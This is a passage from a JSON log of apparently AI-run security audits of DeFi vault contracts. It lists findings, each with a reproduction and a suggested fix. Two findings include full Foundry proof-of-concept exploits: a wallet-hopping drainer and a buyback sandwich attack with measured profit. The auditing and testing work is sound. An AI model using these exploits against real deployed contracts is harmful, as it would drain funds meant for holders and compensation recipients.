remained.","severity":"high","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();\n        if (block.timestamp < nextRequestAt[msg.sender]) revert DailyLimit();","title":"JobsVault per-wallet cooldown is defeated by passing one 1,000,000 TEST bag through fresh addresses: one holder drains the whole jobs budget in one block"},{"citation":"resolved","description":"Economic Security / Invariant (break commutativity, control ordering). The brief's reason for a weekly snapshot is that rewards 'cannot be gamed by buying just before a claim'. But the snapshot block is whatever block distribute() runs in, and distribute() may be called by anyone the moment 7 days have passed. The caller can bundle 'buy TEST, distribute()' into one transaction and sell in the next block (the oracle reads end-of-block balances, and Orbit blocks are sub-second to a few seconds). Because the pot is IMD and the bag is sold back at once, the attacker's only cost is two pool fees plus their own price impact, while their share of the 40% holder pot is proportional to the flash-held bag. The attacker's own buy fee even flows into the same pot via claimFees. Long-term holders are diluted every week. Fix within the design: snapshot a block that is already final and not chosen by the caller, e.g. snapshotHead() - N blocks or the block of the previous distribution, or make the snapshot a time-weighted balance over the week; keep the 7-day cadence.","line":286,"path":"src/HolderRewards.sol","reproduction":"Eligible supply S = 1,000,000 TEST held by others; pool fee f = 0.3%; weekly holder pot P = 10,000 IMD (40% of 25,000 IMD claimed). Attacker at nextDistributionAt in one tx: swap IMD for 1,000,000 TEST (cost ~1,000,000 TEST * price * (1+impact) + 0.3% fee), call distribute() -> epoch opened with snapshotBlock = this block; next block: sell 1,000,000 TEST. Oracle root entitles attacker to floor(P * 1e6 / 2e6) = 5,000 IMD. Expected: a wallet that held TEST for one block earns nothing; Actual: it earns 50% of the pot, net profit = 5,000 IMD - 2 * 0.3% * notional - impact, positive whenever the weekly pot exceeds ~0.6% of the notional bought.","severity":"medium","snippet":"        e.snapshotBlock = snapshotHead();","title":"Weekly holder snapshot is taken in the block of a permissionless distribute() call, so a flash-held bag bought in the same transaction captures the pot"},{"citation":"resolved","description":"Economic Security ('break dependencies: construct a failure that permanently blocks claims'). buybackComplete is only set after tranches == 10 or the IMD balance reaches 0 (line 115), or when trancheCap == 0 at the first call. Each tranche requires a swap on the launch pool that consumes exactly `spend` IMD and returns > 0 TEST (lines 106-110, 137). If the pool cannot absorb a full tranche in range (a single-sided launch range whose TEST side has been bought out so the price sits at tickUpper, or in-range liquidity smaller than the tranche), or the launch hook reverts swaps from this contract (anti-sniper hooks commonly restrict contract callers or per-swap size), buyback() reverts with InvalidSwap and airdrop() reverts with BuybackNotFinished indefinitely. The 10% of supply already held for the 62 migration victims is then locked with no admin, no withdraw and no timeout. Fix within the design: let anyone finish the buyback after a deadline (e.g. 7 days after buybackAvailableAt) or after N consecutive failed tranches, so airdrop() can distribute what was bought; and/or let a tranche spend only what the pool can absorb instead of requiring full consumption.","line":150,"path":"src/CompensationVault.sol","reproduction":"State: CompensationVault bound, holds 1,000,000 IMD and 100,000,000 TEST (10% supply); launch position liquidity in range can absorb at most 50,000 IMD before the price reaches tickUpper (or the hook's beforeSwap reverts for sender = CompensationVault). Call buyback() at buybackAvailableAt: swap consumes 50,000 < spend 100,000 -> inputDelta != -spend -> InvalidSwap. Call airdrop([victim],[weight],[proof]) -> BuybackNotFinished. Expected: victims eventually receive their pro-rata share of the 100,000,000 TEST; Actual: nothing can ever be paid while the condition persists, and there is no other exit for tokens or IMD. Verified on the real v4 PoolManager (test/scratch/BuybackStuck.t.sol): liquidity 1e24 in [-600,600] (~30,000 IMD absorbable), vault 1,000,000 IMD -> buyback() reverts InvalidSwap, airdrop() reverts BuybackNotFinished.","severity":"medium","snippet":"        if (!buybackComplete) revert BuybackNotFinished();","title":"airdrop() has no completion path other than ten successful swaps: any persistent swap failure strands the 10% supply and the IMD forever"},{"citation":"resolved","description":"Economic Security (cheapest griefing vector). retryOracle(id) is permissionless once requestedAt + 1 day has passed and deletes pending[e.requestId], so the answer to the earlier request, whose price was deducted from the holders' pot, is rejected with UnknownRequest when Intake delivers it. If the panel's latency is at or above one day, an actor who calls retryOracle at exactly requestedAt + 1 day every day keeps the epoch unready at a cost of one oracle price per day; after 28 days the whole pot rolls over, and the carry epoch can be griefed the same way. Holders are not robbed but cannot claim while the griefer pays. Fix within the design: keep earlier request ids valid (accept the first root that arrives for the epoch and ignore later ones), or only allow a retry after a longer delay than the oracle's maximum latency.","line":131,"path":"src/HolderRewards.sol","reproduction":"Epoch 1 requested at T (pot reduced by price). Panel answers at T + 30h. Griefer calls retryOracle(1) at T + 24h paying price: pending[old] deleted. Intake delivers the old answer at T + 30h: onOracleResult reverts UnknownRequest. Griefer repeats at T + 48h, 72h, ... Expected: the first valid signed root for epoch 1 is installed; Actual: no root ever lands while the griefer keeps paying, and the price taken from the holders' pot for the first request bought nothing.","severity":"low","snippet":"        delete pending[e.requestId];","title":"retryOracle() invalidates the in-flight request, so a griefer paying one oracle price per day can keep an epoch's root from ever landing (and the pot-funded first answer is wasted)"},{"citation":"resolved","description":"Flow Gap (execution x periphery). The brief requires that a native payout 'goes to the marketing wallet without blocking the IMD split or the burn'. The ETH is pushed with call{value} and a failure reverts the whole distribute(), after the split already ran, so the IMD split and the burn are rolled back too. receive() accepts ETH from anyone, so if MARKETING (0xdfa1...bdc0) is or becomes a contract without a payable fallback, 1 wei sent to the vault blocks every future distribution permanently; there is no other way for IMD to leave. The address could not be verified as an EOA from this machine. Fix within the design: on failure keep the ETH for the next week (do not revert), or use a pull pattern for the native balance.","line":124,"path":"src/SIMDVault.sol","reproduction":"State: MARKETING has code whose receive/fallback reverts (or is absent). Anyone: vault.call{value: 1 wei}(''). Then distribute(): split transfers succeed, burn succeeds, MARKETING.call{value: 1} fails -> NativeTransferFailed -> entire call reverts. Expected per brief: IMD split and burn complete and the ETH is paid or retained; Actual: nothing is distributed, this week and every week after.","severity":"low","snippet":"            if (!ok) revert NativeTransferFailed();","title":"distribute() reverts entirely if the marketing wallet rejects native ETH, and anyone can force ETH into the vault"},{"citation":"resolved","description":"Invariant (stranded value). trancheCap and the 10-tranche limit are frozen from the balance at the first call. totalSpent can never exceed 10 * floor(initialIMD / 10), so initialIMD % 10 wei stays forever, and any IMD delivered later (a hook that pays the anti-sniper fee lazily, an IMD refund, a donation) is stranded: buyback() reverts BuybackFinished once complete and there is no other exit. The README documents the remainder as intended; the late-arrival case is the material one if the hook does not pay the fee before buybackAvailableAt. Fix within the design: allow further tranches while the balance is nonzero after the ten scheduled ones, or sweep the IMD balance into the last tranche.","line":95,"path":"src/CompensationVault.sol","reproduction":"CompensationVault holds 1,005 wei IMD at the first buyback(): trancheCap = 100, ten tranches spend 1,000, 5 wei stuck. Then 1,000 IMD arrives from the hook after buybackComplete: buyback() -> BuybackFinished; airdrop() pays TEST only. Expected: the whole anti-sniper fee is converted and paid to the 62 wallets; Actual: the late 1,000 IMD is locked forever.","severity":"low","snippet":"        uint256 spend = Math.min(trancheCap, IERC20(Network.IMD).balanceOf(address(this)));","title":"IMD that reaches CompensationVault after the first buyback() call, and the initialIMD % 10 remainder, can never be spent or airdropped"}],"hash":"85b87a349dc37240c02950013c8d57337d1b585161a5a285fc12f083f896097f","nodeId":"e00e163a-126d-4b85-9701-7952c8fbdb0b","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` at the repository root (7 findings, 19 coverage rows, 2 proofs), and nothing under `src/` or configuration was touched.\n\n**What I found, in my area (Economic Security, Invariant, Flow Gap):**\n\n- **High, with proof:** `CompensationVault.buyback()` swaps with the pool's outer price bound and only checks that output is nonzero. A caller bundles buy, `buyback()`, sell in one transaction. Against a real v4 PoolManager the vault spent 100,000 IMD, got 6,107 TEST instead of ~99,000, and the caller netted 82,274 IMD. Every tranche can be taken this way, so the tranche design does not deliver the brief's \"cannot be sandwiched for much\" guarantee. The README admits this limitation. Proof is `test/scratch/BuybackSandwich.t.sol`.\n- **High, with proof:** `JobsVault.requestJob` gates on a spot balance and a per-address cooldown. One 1,000,000 TEST bag passed through throwaway contracts opened 8 jobs in one block and emptied an 80 IMD budget. Proof is `test/scratch/JobsSybil.t.sol`.\n- **Medium:** the holder snapshot block is the block of a permissionless `distribute()` call, so a bag bought in the same transaction and sold next block captures a pro-rata share of the 40% pot.\n- **Medium:** `airdrop()` has no path to completion except ten successful full-input swaps. Verified on the real PoolManager that in-range liquidity smaller than a tranche makes `buyback()` revert and `airdrop()` revert indefinitely, stranding the 10% supply.\n- **Low:** `retryOracle` invalidates the in-flight request (daily griefing if oracle latency is a day or more); `distribute()` reverts entirely if the marketing wallet rejects ETH and anyone can force ETH in; IMD arriving after the first buyback is stranded.\n\n**What holds:** epoch accounting (pot, claimed, carry, totalReserved) conserves across deposit, price, claim, rollover and retry; the 40/25.72/17.14/17.14 split; claim caps; only-Intake oracle delivery; one-time launch and bind; exact approvals.\n\n**Not reached:** whether the marketing address is an EOA on Robinhood Chain, the launch hook's behaviour toward contract swappers, and the live factory's `claimFees` return ABI. These are stated as assumptions in the relevant findings.","treeHash":null,"usage":{"cachedInputTokens":3577184,"inputTokens":1090,"model":"claude-fable-5-1","outputTokens":59939,"runtime":"claude","turns":35,"wallClockMs":1191335}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3f91b58cf7cd2d45","findings":[{"citation":"resolved","description":"requestJob gates on a spot balanceOf(msg.sender) and a per-address 24h cooldown. Neither binds the tokens: the same 1,000,000 tokens can be transferred to a fresh wallet after each call, and each fresh wallet passes both checks. Access x economics (Trust Gap seam 1): the guard is 'correct' in isolation but costs nothing to satisfy repeatedly, so one minimum holder (or a Uniswap v4 flash-loan of the token via PoolManager.take/settle, which needs no holding at all) spends the whole JobsVault IMD on jobs for themselves in a single transaction, and real holders get nothing that week. The spec's 'at most once per 24 hours' rate limit is therefore not enforced on the thing that is scarce (the tokens), only on the address, which is free. Minimal fix that keeps the design: snapshot eligibility (e.g. require the holding to be at least the minimum at the previous distribution's snapshot block via the oracle root / or a per-token-lot lock such as escrowing the minimum holding in JobsVault for 24h), or a global cooldown for the vault in addition to the per-address one.","line":36,"path":"src/JobsVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {JobsVault} from \"src/JobsVault.sol\";\nimport {Network} from \"src/Network.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\n/// Finding: JobsVault.requestJob checks a spot balance and a per-address cooldown only. One\n/// 1,000,000-token holding, moved between fresh wallets inside a single transaction, opens an\n/// unbounded number of jobs and drains the JobsVault IMD in one block.\ncontract ProofToken is ERC20 {\n    constructor() ERC20(\"Test\", \"TEST\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract ProofIntake is IIntake {\n    uint256 public nonce;\n    uint256 public constant PRICE = 1 ether;\n\n    function priceOf(bytes32, address) external pure returns (uint256) {\n        return PRICE;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32 id)\n    {\n        require(amount == PRICE, \"wrong amount\");\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount), \"pull failed\");\n        id = keccak256(abi.encode(msg.sender, ++nonce));\n    }\n}\n\n/// One fresh wallet: opens a job with the tokens it holds, then passes the same tokens on.\ncontract Hop {\n    function run(JobsVault jobs, IERC20 tkn, address next, uint256 amount) external {\n        try jobs.requestJob(\"job body\") {} catch {}\n        tkn.transfer(next, amount);\n    }\n}\n\ncontract Drainer {\n    function drain(JobsVault jobs, IERC20 tkn, uint256 hops) external {\n        uint256 amount = tkn.balanceOf(address(this));\n        Hop current = new Hop();\n        tkn.transfer(address(current), amount);\n        for (uint256 i; i < hops; ++i) {\n            Hop next = new Hop();\n            current.run(jobs, tkn, address(next), amount);\n            current = next;\n        }\n    }\n}\n\ncontract JobsVaultHoldingHopTest is Test {\n    JobsVault internal jobs;\n    ProofToken internal token;\n    ProofToken internal imd;\n    Drainer internal drainer;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new ProofToken()).code);\n        vm.etch(Network.INTAKE, address(new ProofIntake()).code);\n        imd = ProofToken(Network.IMD);\n        token = new ProofToken();\n        jobs = new JobsVault(address(this));\n        jobs.setToken(address(token));\n        drainer = new Drainer();\n        token.mint(address(drainer), 1_000_000 ether); // exactly the minimum holding, once\n        imd.mint(address(jobs), 20 ether); // 20 jobs' worth of IMD\n    }\n\n    function testOneHoldingCannotOpenMoreThanOneJobPerDay() public {\n        uint256 before = imd.balanceOf(address(jobs));\n        // Twenty wallets share the same 1,000,000 tokens in one transaction.\n        drainer.drain(jobs, IERC20(address(token)), 20);\n        uint256 spent = before - imd.balanceOf(address(jobs));\n        // Intended: one holding of the minimum opens at most one job per 24 hours.\n        assertLe(spent, 1 ether, \"a single 1,000,000 holding paid for more than one job in one block\");\n    }\n}","reproduction":"State: JobsVault bound to TEST (18 decimals), holds 20 IMD; Intake price 1 IMD. Attacker holds exactly 1,000,000 TEST. In ONE transaction: wallet W1 calls requestJob(body) then transfers the 1,000,000 TEST to W2; W2 calls requestJob then transfers to W3; ... 20 times. Expected (spec): at most one job per 24h for this holding, JobsVault spends 1 IMD. Actual: all 20 calls succeed, JobsVault IMD goes 20 -> 0 in one block. See test/scratch/JobsVaultHoldingHop.t.sol (fails on current code with '20000000000000000000 > 1000000000000000000').","severity":"high","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();\n        if (block.timestamp < nextRequestAt[msg.sender]) revert DailyLimit();","title":"JobsVault: one 1,000,000-token holding opens unlimited jobs in one block by hopping wallets (daily limit and holding gate bypass)"},{"citation":"resolved","description":"buyback() is callable by anyone and the swap in unlockCallback uses sqrtPriceLimitX96 = MIN/MAX (no slippage bound, no reference price, no deadline). The tranche cap (10% of initial IMD) bounds the absolute size of one swap but not its execution price. Access x economics seam: because the caller chooses the moment, a searcher does not need a public mempool (Robinhood Chain is a sequenced Orbit chain): in one transaction it (1) buys TEST with IMD to push the price up, (2) calls buyback() so the vault buys the tranche at the inflated price, (3) sells the TEST back. The vault receives far fewer TEST than the fair amount and the difference minus pool fees is the attacker's profit; the attack repeats on every tranche every 10 minutes, so the tranche structure does not limit the total loss. Profitability condition for a fee-f pool: tranche > ~2*f*reserve (0.6% of the pool's IMD reserve at 0.3%); a launch pool holding the anti-sniper fees of a hot launch easily meets it. Minimal fix preserving design: bound the price, e.g. require the post-swap sqrtPrice to be within X% of the sqrtPrice observed at bindLaunch/last tranche, or a minimum output computed from a stored reference, and revert otherwise.","line":131,"path":"src/CompensationVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SIMDVault} from \"src/SIMDVault.sol\";\nimport {CompensationVault} from \"src/CompensationVault.sol\";\nimport {Network} from \"src/Network.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta, BalanceDeltaLibrary} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\n\n/// Finding: CompensationVault.buyback() swaps with no price bound and is callable by anyone, so the\n/// caller can wrap each tranche in its own sandwich and take most of it. Uses the real v4 PoolManager.\ncontract SandwichToken is ERC20 {\n    constructor() ERC20(\"Test\", \"TEST\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract SandwichFactory {\n    PoolKey private key;\n    address public requester;\n\n    function configure(PoolKey memory key_, address requester_) external {\n        key = key_;\n        requester = requester_;\n    }\n\n    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {\n        return (key, -600, 600, requester);\n    }\n\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n}\n\n/// Seeds liquidity and swaps, settling v4 deltas.\ncontract V4Actor is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager internal immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function seed(PoolKey memory key, uint128 liquidity) external {\n        manager.unlock(abi.encode(uint8(0), key, liquidity, false));\n    }\n\n    function swapExactIn(PoolKey memory key, bool zeroForOne, uint256 amountIn) public {\n        manager.unlock(abi.encode(uint8(1), key, uint128(amountIn), zeroForOne));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (uint8 kind, PoolKey memory key, uint128 amount, bool zeroForOne) =\n            abi.decode(data, (uint8, PoolKey, uint128, bool));\n        BalanceDelta delta;\n        if (kind == 0) {\n            (delta,) = manager.modifyLiquidity(\n                key,\n                IPoolManager.ModifyLiquidityParams({\n                    tickLower: -887220,\n                    tickUpper: 887220,\n                    liquidityDelta: int256(uint256(amount)),\n                    salt: bytes32(0)\n                }),\n                \"\"\n            );\n        } else {\n            delta = manager.swap(\n                key,\n                IPoolManager.SwapParams({\n                    zeroForOne: zeroForOne,\n                    amountSpecified: -int256(uint256(amount)),\n                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n                }),\n                \"\"\n            );\n        }\n        pay(key.currency0, delta.amount0());\n        pay(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function pay(Currency c, int128 delta) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));\n            manager.settle();\n        } else if (delta > 0) {\n            manager.take(c, address(this), uint256(uint128(delta)));\n        }\n    }\n}\n\ncontract Sandwicher is V4Actor {\n    constructor(IPoolManager manager_) V4Actor(manager_) {}\n\n    /// Front-run, trigger the vault's tranche, back-run: one transaction, no mempool needed.\n    function attack(PoolKey memory key, CompensationVault vault, address imd, address tkn, uint256 frontRun)\n        external\n    {\n        bool imdIsZero = Currency.unwrap(key.currency0) == imd;\n        swapExactIn(key, imdIsZero, frontRun); // IMD -> TEST, price of TEST up\n        try vault.buyback() {} catch {} // a fixed vault may revert here; the attack must then be a loss\n        uint256 held = IERC20(tkn).balanceOf(address(this));\n        swapExactIn(key, !imdIsZero, held); // TEST -> IMD\n    }\n}\n\ncontract BuybackSandwichTest is Test {\n    SandwichToken internal imd;\n    SandwichToken internal token;\n    SandwichFactory internal factory;\n    SIMDVault internal vault;\n    CompensationVault internal compensation;\n    PoolKey internal key;\n    IPoolManager internal manager;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new SandwichToken()).code);\n        vm.etch(Network.FACTORY, address(new SandwichFactory()).code);\n        deployCodeTo(\"PoolManager.sol:PoolManager\", abi.encode(address(this)), Network.POOL_MANAGER);\n        imd = SandwichToken(Network.IMD);\n        factory = SandwichFactory(Network.FACTORY);\n        manager = IPoolManager(Network.POOL_MANAGER);\n        address tokenAddress = address(0x1000);\n        vm.etch(tokenAddress, address(new SandwichToken()).code);\n        token = SandwichToken(tokenAddress);\n        key = PoolKey({\n            currency0: Currency.wrap(tokenAddress < Network.IMD ? tokenAddress : Network.IMD),\n            currency1: Currency.wrap(tokenAddress < Network.IMD ? Network.IMD : tokenAddress),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        manager.initialize(key, uint160(1 << 96)); // 1 TEST = 1 IMD\n        V4Actor seeder = new V4Actor(manager);\n        imd.mint(address(seeder), 1e24);\n        token.mint(address(seeder), 1e24);\n        // Full-range liquidity with ~1,000 IMD and ~1,000 TEST of reserves: a thin launch pool.\n        seeder.seed(key, 1_000 ether);\n        vault = new SIMDVault();\n        compensation = vault.compensationVault();\n        factory.configure(key, address(vault));\n        vm.prank(Network.DEV);\n        vault.bindLaunch(1, tokenAddress);\n        imd.mint(address(compensation), 1_000 ether); // tranche = 100 IMD\n        vm.warp(compensation.buybackAvailableAt());\n    }\n\n    function testBuybackTrancheCannotBeSandwichedForProfit() public {\n        Sandwicher attacker = new Sandwicher(manager);\n        imd.mint(address(attacker), 500 ether);\n        uint256 attackerBefore = imd.balanceOf(address(attacker));\n        uint256 vaultImdBefore = imd.balanceOf(address(compensation));\n\n        attacker.attack(key, compensation, Network.IMD, address(token), 500 ether);\n\n        uint256 attackerAfter = imd.balanceOf(address(attacker));\n        uint256 vaultSpent = vaultImdBefore - imd.balanceOf(address(compensation));\n        uint256 vaultGot = token.balanceOf(address(compensation));\n        emit log_named_uint(\"vault IMD spent\", vaultSpent);\n        emit log_named_uint(\"vault TEST received\", vaultGot);\n        emit log_named_int(\"attacker IMD profit\", int256(attackerAfter) - int256(attackerBefore));\n        // Intended: tranches are not sandwichable for much. At the pool's pre-call price (1:1) the\n        // 100 IMD tranche is worth ~99.7 TEST; a bounded swap either fills near that or reverts.\n        assertTrue(vaultSpent == 0 || vaultGot >= 90 ether, \"tranche executed far below the pre-call price\");\n        assertLe(int256(attackerAfter) - int256(attackerBefore), int256(10 ether), \"sandwicher profit exceeds 10% of the tranche\");\n    }\n}","reproduction":"State: real v4 PoolManager, TEST/IMD pool 0.3% fee, price 1:1, IMD reserve ~1,000 IMD; CompensationVault bound and holding 1,000 IMD (tranche = 100 IMD); timestamp >= buybackAvailableAt. Attacker contract in ONE tx: swap 500 IMD -> TEST (price ~2.25x), call compensationVault.buyback(), swap all TEST -> IMD. Expected: the vault's tranche executes near the pool's pre-call price (~99.7 TEST for 100 IMD) or reverts; attacker cannot profit. Actual (measured with the real PoolManager in test/scratch/BuybackSandwich.t.sol): vault spends 100 IMD and receives 41.63 TEST; attacker ends the transaction 53.67 IMD richer. Repeating every 10 minutes on all 10 tranches moves ~537 of the 1,000 IMD meant for the 62 compensation wallets to the attacker. The test fails on current code with 'tranche executed far below the pre-call price'.","severity":"high","snippet":"                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1","title":"CompensationVault.buyback(): swap has no price bound, so the permissionless caller can sandwich each tranche themselves"},{"citation":"resolved","description":"Anyone may call buyback() the second buybackAvailableAt passes. The first call snapshots initialIMD and sets trancheCap = initialIMD / 10; if the balance is below 10 base units at that moment, _finishBuyback() runs and buybackComplete is permanent. IMD received afterwards (hook fee settlement that lands after the window, a late claim, or any transfer) can never be spent: buyback() reverts BuybackFinished and there is no other exit, so the 62 compensation wallets lose the buyback entirely while airdrop() can be started immediately on the 10% supply alone. Asymmetry: initialIMD is read once at an attacker-chosen moment, whereas the spec says the buyback 'stops when the IMD is spent'. Also buybackAvailableAt is bindLaunch time + 30 min, not pool open + 30 min, so the exact instant is set by the dev's bind transaction and known to everyone. Minimal fix preserving design: require initialIMD >= some floor (or >= MAX_TRANCHES) before starting, and/or let a later call re-open spending for IMD received after completion (e.g. a second round) instead of a permanent flag.","line":88,"path":"src/CompensationVault.sol","reproduction":"State: vault bound at T0; CompensationVault IMD balance 0 (fee not yet settled to it). At T0 + 30 min anyone calls buyback(): buybackStarted = true, initialIMD = 0, trancheCap = 0 -> _finishBuyback(), buybackComplete = true. Then 1,000 IMD arrives at the CompensationVault. buyback() now reverts BuybackFinished; airdrop() proceeds using only the pre-existing token balance. Expected: 1,000 IMD is swapped in tranches and airdropped. Actual: 1,000 IMD is permanently locked (no withdraw path exists by design).","severity":"medium","snippet":"            initialIMD = IERC20(Network.IMD).balanceOf(address(this));\n            trancheCap = initialIMD / MAX_TRANCHES;\n        }\n        if (trancheCap == 0) {\n            _finishBuyback();\n            return;","title":"CompensationVault: first permissionless buyback() call freezes initialIMD; any IMD that arrives later is stuck and buyback can be marked complete with zero spend"},{"citation":"resolved","description":"retryOracle only checks that one day passed since requestedAt, not that the earlier request failed. It deletes pending[e.requestId], so when Intake later delivers the original (paid-from-the-pot) answer, onOracleResult reverts UnknownRequest and that answer is lost. A griefer willing to pay one oracle price per day can keep every epoch unanswered until its 28-day rollover, and repeat on the carry epoch; holders are never paid. Access x asymmetry: a paid third party overrides the vault-funded request. The reference consumer pattern uses requestWithFailure/onOracleFailure to learn of a failed panel instead of a timer. Minimal fix: only allow a retry once the earlier request has been reported failed (failure callback) or after VALID_FOR (7 days) has elapsed.","line":131,"path":"src/HolderRewards.sol","reproduction":"State: epoch 1 opened by distribute(), request R1 pending, panel slow. At requestedAt + 1 day attacker calls retryOracle(1) paying price: pending[R1] deleted, R2 pending. Intake then delivers R1's signed attestation via onOracleResult(R1, a, sig). Expected: root recorded (the question and blocks are identical). Actual: revert UnknownRequest; epoch stays not ready. Attacker repeats daily; at day 28 anyone rolls the pot over.","severity":"low","snippet":"        delete pending[e.requestId];\n        _ask(id, price);","title":"HolderRewards.retryOracle(): anyone can invalidate a still-pending oracle request after one day, so a late legitimate answer is rejected"},{"citation":"resolved","description":"HolderRewards snapshots balances at the deposit block, and the deposit block is whatever block distribute() is called in, by anyone, any time after the 7-day interval. Access x economics seam: the brief wants the weekly snapshot to prevent gaming by 'buying just before a claim', but the snapshot moment is chosen by the same party who buys. Holding across a single block boundary is enough because the oracle reads end-of-block balances. Cost: two swap fees on the amount; gain: pro-rata share of 40% of the week's creator fees. Not profitable for every pool size, but it removes the guarantee the spec states. Minimal fix: snapshot a block strictly before the call (e.g. the previous distribution block + a fixed offset, or snapshotHead() - N), so the caller cannot act on it.","line":100,"path":"src/SIMDVault.sol","reproduction":"State: week elapsed, vault holds 10,000 IMD fees. Attacker in block B buys 50% of circulating TEST; in block B+1 calls distribute() (epoch snapshotBlock = B+1); in block B+2 sells. Oracle tree for epoch k credits the attacker ~50% of 4,000 IMD. Expected: rewards go to holders over the week. Actual: a 3-block holder takes half the pot.","severity":"low","snippet":"    function distribute() external nonReentrant {\n        if (!bound) revert NotBound();\n        if (block.timestamp < nextDistributionAt) revert TooEarly();\n        nextDistributionAt = block.timestamp + DISTRIBUTION_INTERVAL;","title":"SIMDVault.distribute(): the permissionless caller picks the holder snapshot block, so a reward share can be bought one block before and sold one block after"},{"citation":"resolved","description":"Powers that exist by design and must be trusted: (1) DEV has two one-time powers, launch() and bindLaunch(); if DEV never binds, distribute() is blocked forever (NotBound) and the vault's IMD stays in the vault. (2) MARKETING == DEV, so the 17.14% + 17.14% and all native ETH go to one wallet (per brief). (3) Intake is trusted to pass the right requestId with the attestation; onOracleResult does not compare requestId to a.requestId (same as the reference consumer). (4) ORACLE_SIGNER is a constant with no rotation; a key compromise lets the signer publish any root bounded by each epoch's snapshotPot. (5) The factory and the token hook decide when the 10% supply and the anti-sniper IMD reach CompensationVault; see finding 3.","line":10,"path":"src/Network.sol","reproduction":"Not a failing input; a trust map for the judge and author.","severity":"info","snippet":"    address internal constant MARKETING = DEV;\n    address internal constant POOL_MANAGER = address(0x008366a39cc670b4001a1121b8f6a443a643e40951);\n    address internal constant ORACLE_SIGNER = address(0x005598aa9146215bc13eb26f2c692ad1461fd32982);","title":"Trust assumptions in the permission model (documented, not defects)"}],"hash":"94d9bdc409af21431e8ab40ab9897d05bd5b4fae55462e33968856acbe225b33","nodeId":"d05adcac-40b7-4180-9419-bb19f9d6030f","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds 6 findings and a coverage row for all 17 entry points plus one invariant, with no `unreached` rows. The findings file is in the repo root as required, and the only other new files are in `test/scratch/`, which is not submitted. Git status is clean except for those.\n\n**Findings (Access Control, Trust Gap, Asymmetry area)**\n\n- **High, JobsVault.requestJob (src/JobsVault.sol:36).** The holding gate is a spot balance and the cooldown is per address, so one 1,000,000-token lot hopped between fresh wallets opens unlimited jobs in one block. The proof test drains 20 IMD from the JobsVault in a single transaction with a single minimum holding. A v4 flash-borrow through the PoolManager would need no holding at all.\n- **High, CompensationVault.buyback (src/CompensationVault.sol:131).** The swap has no price bound and anyone may call it, so the caller can sandwich each tranche inside their own transaction. Measured against the real v4 PoolManager in a thin full-range pool: the vault paid 100 IMD for 41.6 TEST and the sandwicher netted 53.7 IMD. Over 10 tranches that moves over half the compensation fund to the attacker.\n- **Medium, first buyback() call (src/CompensationVault.sol:88).** The first permissionless call freezes the IMD budget. If the balance is under 10 base units at that moment, the buyback is marked complete forever and any IMD arriving later is locked, while airdrop can start immediately.\n- **Low, HolderRewards.retryOracle (src/HolderRewards.sol:131).** Anyone paying one oracle price can invalidate a still-pending request after one day. The original vault-funded answer is then rejected with UnknownRequest, and a griefer can keep epochs unanswered until rollover.\n- **Low, SIMDVault.distribute (src/SIMDVault.sol:100).** The permissionless caller chooses the holder snapshot block, so a reward share can be bought one block before and sold one block after, weakening the spec's anti-gaming guarantee.\n- **Info.** Trust map: the dev's two one-time powers, marketing equals dev, Intake trusted for the request id, a fixed oracle signer, and the factory and hook deciding when funds reach the CompensationVault.\n\n**Proofs.** Both high findings carry a self-contained Foundry test under `test/scratch/`. Each fails on the current code for the stated reason. The sandwich proof asserts on the vault's execution quality, so a reasonable slippage-bound fix will pass it.\n\n**Coverage.** Every listed entry point was traced. The access guards themselves hold everywhere: launch and bindLaunch are dev-only and one-shot, child setters are vault-only and one-shot, the oracle callback accepts only 